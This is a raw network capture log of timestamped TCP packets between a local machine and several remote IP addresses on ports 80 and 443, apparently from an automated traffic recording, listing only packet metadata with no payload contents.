Dec 20, 2024 02:11:41.181462049 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.182203054 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.182290077 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.182338953 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.183398008 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.183449984 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.183648109 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.183782101 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.184612036 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.184664011 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.184937954 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.184988976 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.185724974 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.185781956 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.185936928 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.186011076 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.186841965 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.187066078 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.187124014 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.187124014 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.188060045 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.188719988 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.188952923 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.189004898 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.189172983 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.189893961 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.189941883 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.190447092 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.190741062 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.190785885 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.191513062 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.191582918 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.191822052 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.191874027 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.192672014 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.192723989 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.192879915 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.192925930 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.193872929 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.193953991 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.194745064 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.194792986 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.195039988 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.195087910 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.195343018 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.195379972 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.196264982 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.196312904 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.196661949 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.196700096 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.197355986 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.197649956 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.197685957 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.198503971 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.198808908 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.198846102 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.199794054 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.199832916 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.199944019 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.200881004 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.200920105 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.201344967 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.202056885 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.202092886 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.202186108 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.202222109 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.203191042 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.203349113 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.203383923 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.204345942 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.204550982 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.205127954 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.205554962 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.205601931 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.205991030 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.206702948 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.206749916 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.207062006 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.207107067 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.207873106 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.207926035 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.208031893 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.208096981 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.209027052 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.209073067 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.209196091 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.209242105 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.210222006 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.210266113 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.211132050 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.211186886 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.211402893 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.211450100 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.211518049 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.211669922 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.212544918 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.212594986 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.212941885 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.212985992 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.213711023 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.213757038 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.213887930 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.213931084 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.214945078 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.214994907 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.215054035 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.215092897 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.216136932 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.216181993 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.216253996 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.216293097 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.217210054 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.217266083 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.217349052 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.217420101 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.218386889 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.218466997 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.218602896 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.218683004 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.219556093 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.219651937 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.220479012 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.220590115 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.220716953 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.220761061 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.220875025 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.220930099 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.221899033 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.221971989 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.222151041 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.222193003 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.223090887 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.223131895 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.223294973 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.223409891 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.224222898 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.224272013 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.224468946 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.224509954 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.225399971 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.225446939 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.225918055 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.225965977 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.226646900 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.226819038 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.226843119 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.226861954 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.227734089 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.227813959 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.228167057 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.228235960 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.228916883 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.228965998 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.229258060 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.229301929 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.230078936 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.230128050 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.230192900 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.230303049 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.231256008 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.231300116 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.231658936 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.231704950 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.232526064 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.232611895 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.232707024 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.232810974 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.233612061 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.233748913 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.233812094 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.233856916 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.234766960 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.234807014 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.235286951 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.235384941 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.235991001 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.236035109 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.236275911 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.236319065 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.237078905 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.237191916 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.237560987 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.237603903 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.238276958 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.238321066 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.238574028 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.238677979 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.239443064 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.239486933 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.239661932 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.239706039 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.240566015 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.240609884 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.240776062 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.240837097 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.241703033 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.241746902 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.310467958 CET	49927	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:41.310570955 CET	443	49927	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:41.310693979 CET	49927	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:41.310975075 CET	49927	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:41.311003923 CET	443	49927	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:41.372777939 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.372855902 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.372994900 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.373048067 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.373437881 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.373492956 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.373539925 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:41.373565912 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.373729944 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.374582052 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.374648094 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.374800920 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.374859095 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.375761032 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.375838041 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.376005888 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.376097918 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.377002954 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.377060890 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.377156973 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.377213001 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.378051043 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.378112078 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.378195047 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.378246069 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.379245996 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.379297018 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.379563093 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.379615068 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.380445957 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.380460024 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.380505085 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.380533934 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.381676912 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.381690979 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.381742954 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.382807016 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.382859945 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.383593082 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.383656025 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.384145021 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.384197950 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.384720087 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.384780884 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.385149956 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.385163069 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.385205030 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.386351109 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.386439085 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.386804104 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.386987925 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.387485981 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.387562990 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.387713909 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.387799025 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.388638973 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.388650894 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.388704062 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.389843941 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.389985085 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.389998913 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.390031099 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.390983105 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.391201019 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.391408920 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.391578913 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.392133951 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.392194033 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.392796040 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.392853975 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.393280983 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.393383980 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.393388033 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.393438101 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.394478083 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.394537926 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.395301104 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.395373106 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.395658016 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.395668983 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.395718098 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.396810055 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.396965981 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.397020102 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.398062944 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.398123026 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.398268938 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.398315907 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.399177074 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.399240971 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.399501085 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.399586916 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.400402069 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.400732994 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.400749922 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.400785923 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.401509047 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.401586056 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.401751995 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.401809931 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.402643919 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.402704000 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.402797937 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.402848005 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.403846979 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.403903961 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.404643059 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.404707909 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.405052900 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.405112028 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.405277014 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.405339956 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.406183004 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.406248093 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.406383991 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.406446934 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.407347918 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.407403946 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.407629967 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.407681942 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.408519983 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.408582926 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.408955097 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.409007072 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.409749031 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.409868956 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.410064936 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.410135031 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.410836935 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.411029100 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.412024975 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.412035942 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.412087917 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.412116051 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.412245035 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.413220882 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.413283110 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.413446903 CET	80	49917	31.41.244.11	192.168.2.5
